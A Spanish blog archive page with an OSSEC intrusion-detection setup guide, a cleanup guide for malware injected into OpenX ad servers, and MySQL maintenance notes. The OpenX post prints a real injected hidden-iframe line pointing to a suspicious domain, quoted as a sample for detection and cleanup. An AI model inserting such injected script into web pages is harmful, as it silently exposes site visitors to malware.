Sistema de Ventas, Control de Ventas, Puntos de Venta, Amazon Web Services, Seguridad, Linux, Base Datos MySQL, PHP, Open Source, Cache, Varnish.

febrero 2014

 OSSEC HIDS.- es un sistema de código abierto basado detección de intrusos en el host (host intrusion detection) o Tambien llamado IDS.

Ossec- server-security - conectateperu.com

Resumen de Características:
  • Realiza análisis de registros.
  • Integridad de archivos o ficheros.
  • Seguimiento en las modificaciones del los archivos.
  • Alertas en tiempo real y respuesta activa.
  • Detección de rootkits (Instalación de un programa oculto para corromper el funcionamiento normal del sistema o aplicaciones).
  • Dectección, bloqueo y alerta de ataques por Fuerza Bruta.   


      Instalación de OSSEC.
      Paso1: Instalar paquetes necesarios.
       #  yum install gcc  gcc-c++

      Paso2: Descargar OSSEC HIDS o hacer un wget a la URL de descarga desde el terminal de linux.
      #  wget http://www.ossec.net/files/ossec-hids-2.7.1.tar.gz

      Paso3: Extraemos el Paquete:
      # tar zxvf ossec-hids-2.7.1.tar.gz

      Paso4: Ingresamos a la carpeta descomprimida e instalamos.
      # cd ossec-hids-2.7.1
      # sh install.sh-> Despues de ejecutar nos hara un serie de preguntas.

      1.-Elegimos el Idioma en mi español (digitamos: es).
      # [en]: es  

      2.- Luego veras una descripción y mostrará dos Opciones:
       ENTER para continuar y CTRL+C para detener la instalación. 
       Presionamos ENTER y continuamos.

      3.- Luego preguntará por el tipo de instalación: servidor, agente, local ó ayuda.
      Digitamos servidor porque así nos permite proteger nuestro server y agregar host para que también sean protegidos.

      4.-  Luego preguntará por la ruta de instalación:
      Digitamos la ruta por defecto que nos aparece: /var/ossec.

      5.- Luego preguntara si deseamos recibir notificaciones por correo y nos pedira nuestro correo.
      Digitamos la  de SI y luego digitamos nuestro correo.

      6.- Luego detectará automáticamente tu servidor SMTP.
      Digitamos la  s   de si y sino lo dectecta digitamos nuestro servidor SMTP en mi caso smtp.gmail.com porque mi correo esta en gmail.

      7.- Luego preguntará si deseamos agregar el servidor de integridad.
      Digitamos la  de SI.

      8.- Luego preguntará si deseamos repuesta activa (Bloquear IP o usuario ante comportamiento extraño).
      Digitamos la  de SI.

      9.- Luego preguntará si firewall se encargará de los bloqueos.
      Digitamos la  de SI.

      10. Luego nos detecta nuestro DNS para internet y agrega a la lista blanca y pregunta si queremos agregar otra IP.
      Digitamos la  de NO.

      11.- Luego preguntara si deseamos habilitar el syslog remoto (registro de eventos) .
      Digitamos la  de SI.

      12.- Luego preguntara si deseamos continuar presionar ENTER para instalar.
      Presionamos ENTER.

      13.- Luego antes de finalizar la instalación y nos mostrara alguna recomendaciones.
      • El archivo de configuración de OSSEC HIDS:
      /var/ossec/etc/ossec.conf
      • Para Iniciar OSSEC HIDS:
      /var/ossec/bin/ossec-control start
      • Para Detener OSSEC HIDS:
      /var/ossec/bin/ossec-control stop
      • Para Agregar agentes (PC clientes) nos recomienda usar "manage_agents".
      /var/ossec/bin/manage_agents 

      • Para borrar historial "local".
      /var/ossec/bin/syscheck_update -u local

      Para borrar historial "de agentes".

      /var/ossec/bin/syscheck_update -a


      Y por ultimo nos pide presionar ENTER para FINALIZAR LA INSTALACIÓN.
      NOTA: Cabe señalar que Ossec trabaja en base a reglas definidas por defecto las cuales las modificaremos para una mejor performance.
       REGLAS ADICIONALES
      A continuación detallo unas reglas que te permitirán monitorear y alertar por carpeta y por extensión de archivos.
      La cantidad de archivos y carpetas demandaran mas trabajo para tu servidor lo ideal sería definir extensiones de archivos y las carpetas de alto riesgo.

      ¿ Cómo modificamos y personalizamos  las reglas ?
      Paso0: Para un archivo específico.
      Editamos el archivo  nano /var/ossec/etc/ossec.conf
      buscamos la línea 262 y agregamos:

      <!--Agregando un archivo para revisón -->
       <localfile>
          <log_format>syslog</log_format>        ---> Nombre cualquiera
          <location>/etc/syslog</location>   
             ---> Ruta del Archivo
        </localfile>
      <!--Fin de archivo agregado -->

      Paso1: Para directorios y archivos por extensiones.
      Editamos el archivo  nano /var/ossec/etc/ossec.conf

      y buscamos la siguiente línea (aprox. linea 74):  
      ----------------Encontramos lo siguiente---------------------------------------
      <syscheck>
          <!-- Frequency that syscheck is executed - default to every 22 hours -->
          <frequency>79200</frequency>

          <!-- Directories to check  (perform all possible verifications) -->
          <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
          <directories check_all="yes">/bin,/sbin</directories>
      -------------------------------------------------------------------------------------
      ----------------Modificamos por lo siguiente------------------------------------
      <syscheck>
          <!-- Frequency that syscheck is executed - default to every 22 hours -->
          <!-- Directories to check  (perform all possible verifications) -->
          <!--  <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories> -->
          <!-- <directories check_all="yes">/bin,/sbin</directories> -->
        
       <!-- Frencuencia de Revisión cada 10 segundos -->
      <frequency>10</frequency>

       <!-- Alertar cuando se genera nuevos archivos -->    

       <alert_new_files>yes</alert_new_files>

      <!-- Alertar en tiempo real para ello agregamos una setencia: realtime="yes" -->   

      <directories realtime="yes" check_all="yes">/home/test2</directories>
       
      <!-- Para archivos con extensiones específicas en carpetas especificas -->

      <directories realtime="yes" check_all="yes" restrict=".php|.js">/home/test3</directories>


      -----------------------------------------------------------------------------------

      A continuación explicamos las líneas:

      Las letras de color amarillo son comentarios: 
      Las letras de color anaranjado son nuestros directorios a revisar.

      <frequency>10</frequency>  : es la frecuencia de tiempo que actualizará.

      <alert_new_files>yes</alert_new_files> : es la aregla cuando detecte nuevos archvos.


      <directories realtime="yes" check_all="yes">/home/test2</directories> : directorio que será revisado en tiempo real.

      <directories realtime="yes" check_all="yes" restrict=".php|.js">/home/test3</directories> : directorio que será revisado en tiempo real y solamente alertara si la extensión del archivo es "php" o "js".

      Paso2: Para poner alertas cuando se generan nuevos archivos.
       Editamos el archivo: nano /var/ossec/rules/ossec_rules.xml
      y buscamos la siguiente linea (Aprox. la línea 200) :

      ----------------Encontramos lo siguiente---------------------------------------
       

      <rule id="554" level="0">
          <category>ossec</category>
          <decoded_as>syscheck_new_entry</decoded_as>
          <description>File added to the system.</description>
          <group>syscheck,</group>
        </rule>


      -------------------------------------------------------------------------------------

      --------------------Agregamos Otro bloque debajo quedando así-----------------------------

        <rule id="554" level="0">
          <category>ossec</category>
          <decoded_as>syscheck_new_entry</decoded_as>
          <description>File added to the system.</description>
          <group>syscheck,</group>
        </rule>
      <!-- AGREGADO BLOQUE PARA NOTIFICAR CON ARCHIVOS NUEVOS -->
      <rule id="554" level="7" overwrite="yes">
      <category>ossec</category>
      <decoded_as>syscheck_new_entry</decoded_as>
      <description>File added to the system.</description>
      <group>syscheck,</group>
      </rule>
      <!-- FIN DE NOTIFICAR -->


      --------------------------------------------------------------------------------------------------------------
      Paso3: Con estas reglas ya podrás tener un ambiente mejor moniteoreado ante cambios o modificaciones indebidas de acuerdo a los directorios y extensiones de archivos que tú definas.

      Malware en Openx.- Estos ultimos meses hemos encontrado gran cantidad de victimas que han sido atacados debido a alguna vulnerabilidad en OpenX  que permite inserción de código Malicioso.

      Esto cantidad de ataques se debe a que los Anuncios en línea son una fuente importante de Ingresos para muchos sitios Web.

      Revive AdServer (Open Source) sucesor de Openx quien fue Open Source hasta unos meses, dejando a muchos fieles seguridores usando Openx que tuvieron que arreglarselas para migrar a Revive AdServer o Seguir Usando Openx desfasado.

      La conclusión es sencilla que mejor oportunidad de anunciar y ganar dinero con un Sistema totalemente gratuito y libre.   


      ¿ Qué es OpenX y Revive AdServer ? 
      Son sistemas de publicación de anuncios que tienes las siguientes caracteríticas:
      • Publicar anuncios en Sitios Web.
      • Recopilar estadítica detallada sobre las impresiones, clics y conversiones.
      • Administrar campañas de varios anunciantes.
      • Interfaz Web facil de Usar.
      • Definir reglas para la entrega de campañas, anuncios y segmentación geográfica.
      • Resultados de campaña y reporte.
      ¿Cómo funciona OpenX?
      Cuando los usuarios visitan un anuncio un script PHP crea dinámicamente un código Java Script que serán incrustado en los Anuncios de la página Web.

      ¿Cómo el Malware se inserta en OpenX?
      El Malware aprovecha la generación código para los anuncios y se inserta como un pequeño fragmento de Java Script.

      ¿Cómo encuentro al Malware?
      Paso 1: Buscamos código malicioso en los campos append/prepend de la tabla banners.
      Para saber el código del anuncio y revisarlo via Web lo obtenemos de bannerid.
       Para OpenX:
      SELECT bannerid, append, prepend FROM ox_banners WHERE append != '' OR prepend != '';

      SELECT append,prepend FROM ox_banners WHERE append LIKE '%<br>%';

             Ejemplo: Ejecuto mis consultas en el programa  SQLyog  que esta configurado con mi   
                                        base datos de publicidad.

                                        Ejecutamos la consulta.

                                          Una vez obtenido los resultados le damos doble Clic en una de las filas:
                                            Todo ese código señalado con rojo es lo que nos han insertado así que
                                             debemos borrarlo.

      Ojo: En SQLyog tienes que estar como escritura por defecto nos pone "Read Only" y siempre dar clic en el disquete para que guarde los cambios.



      Paso 2: Buscamos código malicioso en los campos append/prepend de la tabla zonas.
      Para saber el código del anuncio y revisarlo via Web lo obtenemos de zoneid.  
      Para Openx:
      SELECT zoneid, append, prepend FROM ox_zones WHERE append != '' OR prepend != '';

      Malware
      ¿Cómo se que es un código Malicioso?
      • Pero un ejemplo de código Maliciso podria ser este que encontre en mi caso:
      document.write('<iframe src="http://iexplorerupdte32.in/pagead/gallery/demo.php?shim=23" style="display:none;visibility:hidden;" ></iframe>');
      • Consultar con el administrador o el responsable de los anuncios y verificar que es código Valido.
      Paso 3: Verificar que no haya usuarios administradores extraños.

      Para Openx:
      SELECT u.user_id, u.contact_name, u.email_address, u.active, u.username FROM ox_users AS u, ox_account_user_assoc AS aua WHERE u.user_id=aua.user_id AND aua.account_id = (SELECT value FROM ox_application_variable WHERE name='admin_account_id');


      Recomendaciones Adicionales:
      • Cambia regularmente el password de los usuarios del sistema.
      • Borra el archivo .../openx/www/admin/install.php.
      • Borra el archivo .../openx/www/admin/install_plugins.php.
      Ejemplo de código malicioso que usualmente insertan en OpenX.
      <br>

      <script type='text/javascript'><!--//<![CDATA[
      document.MAX_ct0 ='{clickurl}';

      var m3_u = (location.protocol=='https:'?
      'https://d2va07tmah0l23.oxcdn.com/www/delivery/ajs.php'
      :'http://d2va07tmah0l23.oxcdn.com/www/delivery/ajs.php');
      var m3_r = Math.floor(Math.random()*99999999999);
      if (!document.MAX_used) document.MAX_used = ',';
      document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
      document.write ("?zoneid=174");
      document.write ('&amp;cb=' + m3_r);
      if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used);
      document.write (document.charset ? '&amp;charset='+document.charset :
      (document.characterSet ? '&amp;charset='+document.characterSet : ''));
      document.write ("&amp;loc=" + escape(window.location));
      if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer));
      if (document.context) document.write ("&context=" + escape(document.context));
      if ((typeof(document.MAX_ct0) != 'undefined') && (document.MAX_ct0.substring(0,4) == 'http')) {
      document.write ("&amp;ct0=" + escape(document.MAX_ct0));
      }
      if (document.mmm_fo) document.write ("&amp;mmm_fo=1");
      document.write ("'><\/scr"+"ipt>");
      //]]>-->
      </script>
      <noscript>

      Optimizar la Base Datos siempre es una tarea que tenemos que recordar como mantener nuestro propio cuerpo en forma. En MySQL tenemos algunas alternativas para lograr un MEJOR RENDIMIENTO de nuestra BASE DATOS de la cual hablaremos a continuación.


      ¿Has ejecutado muchos borrados (DELETE)  en tu Base Datos? SI
      ¿Has echo muchas  inserciones (INSERT) en tu Base Datos? SI
      ¿Has echo muchos cambios en tus tablas? SI
      ¿Deseas ordenar tus Índices de Base Datos? SI

      Si tu respuesta es SI entonces considera necesario realizar una optimización a tu BASE DATOS.
      ¿Qué es OPTIMIZE TABLE
      OPTIMIZE TABLE es un comando que debe ejecutarse cuando:
      • Se ha borrado una catidad considerable de información en una tabla. 
      • Cuando se hace muchos cambios en una tabla con registros de longitud variable (Tablas con columnas Float, Varchar, date, etc). 
      • Necesitamos borrar posiciones antiguas de registro es decir defragmentar el fichero de DATOS.
      ¿En qué Tablas funciona OPTIMIZE TABLE?
      OPTIMIZE TABLE funciona en tablas cuya motor de almacenamiento es:
      • BDB.
      • InnoDB.
      • MyISAM.
      ¿Cómo funciona OPTIMIZE TABLE para tablas MyISAM?
      • Cuando se borran o dividen registros OPTIMIZE TABLE repara la tabla.
      • Si los índices estan desordenados OPTIMIZE TABLE los ordena.
       ¿Cómo fuciona OPTIMIZE TABLE para tablas InnoDB?
      • Reconstruye la tabla.
      • Libera espacion no utilizado en el índice clusterizado.
      • Recontruye las estadísticas actualizadas de los índices clusterizados.
      Índice clusterizado: mejora el rendimiento de las consultas se puede reorganizar a petición es decir una rápida ordenación y filtrado; pero no debemos elegir campos que cambian con mucha frecuencia o almacena mucha información.
      Los excelentes candidatos para Índice Clustered suelen ser por defecto las Claves Primarias. Cuanto mas exclusivos mejor. 
        ¿Cómo hago OPTIMIZE TABLE a mi base datos?  

      Por ejemplo:  Ejecutar el comando optimize table en nuestra tabla users.

      mysql> optimize table users;
      +--------------------+----------+----------+----------+
      | Table              | Op       | Msg_type | Msg_text |
      +--------------------+----------+----------+----------+
      | openatriumdb.users | optimize | status   | OK       |
      +--------------------+----------+----------+----------+
      1 row in set (0.42 sec)

      Con esto habremos optimizado nuestra tabla users.

      IMPORTANTE: Tener en cuenta que MYSQL bloquea la tabla mientras se ejecuta OPTIMIZE TABLE.

      Tambien enterate Primero de:

      http://conectateperucom.blogspot.com/2014/01/mantenimiento-mysql-estado-de-base.html

      Cuando realizamos un chequeo a las tablas de nuestra Base Datos MySQL debemos decifrar algunos mensajes que suelen aparecer como por ejemplo: "Table is already up to date"

       Msg_text: "Table is already up to date"
      ¿Qué Significa ? : Indica que la tabla esta bien y no hay necesidad de chequear la tabla.
      ¿Cuándo sale ese mensaje ? : cuando ejecutas CHECK TABLE.
      ¿Qué hace CHECK TABLE? : Comando usado para chequear un tabla en busca de errores funciona con tablas MyISAM e InnoDB.

      ¿Cómo Ejecuto el comando CHECK? : "CHECK TABLE nombredemitabla;"
      ¿Qué resultados obtengo al ejecutar CHECK TABLE?
      Obtengo esta tabla:

      Mysql>  CHECK TABLE nombredemitabla;

      Columna

      Valor

      Tabla Nombre de Tabla
      Op check
      Msg_type Mensaje de estado de tabla puede ser: status, error, info o warning.
      Msg_textTable is already up to date.


      "Found row where the auto_increment column has  value 0"

      ¿Qué Significa ? : Indica que la tabla tiene un registro en la columna auto_incremenet cuyo valor de índice es Cero.
      ¿Cuándo sale ese mensaje ? : cuando ejecutas CHECK TABLE.
      ¿Qué resultados obtengo al ejecutar CHECK TABLE?
      Obtengo esta tabla:
      ¿Cuál es la Solución ?  Ejecute un comando Update en la tabla para actualizar con un valor diferente a Cero.

      Mysql>  CHECK TABLE nombredemitabla;

      Columna

      Valor

      Tabla Nombre de Tabla
      Op check
      Msg_type Mensaje de estado de tabla puede ser: status, error, info o warning.
      Msg_textFound row where the auto_increment column has the value 0

      En ocasiones me he encontrado con archivo.sql para importar pero resulta que tienes tipos de datos que nos son para MySQL es por eso que he decidido publicar esta nota veamos.
       

      Tipos de Datos

      PostgreSQL

      MySQL

      numericdouble
      decimal
      float
      integerint
      mediumint
      smallintsmallint
      tinyint
      characterchar
      character varyingvarchar
      enum
      set
      textlongtext
      mediumtext
      text
      tinytext
      byteatinyblob
      blob
      mediumblob
      longblob
      timestampdatatime
      timestamp
      datetime
      date
      year

      MKRdezign

      Formulario de contacto

      Nombre

      Correo electrónico *

      Mensaje *

      Con la tecnología de Blogger.
      Javascript DisablePlease Enable Javascript To See All Widget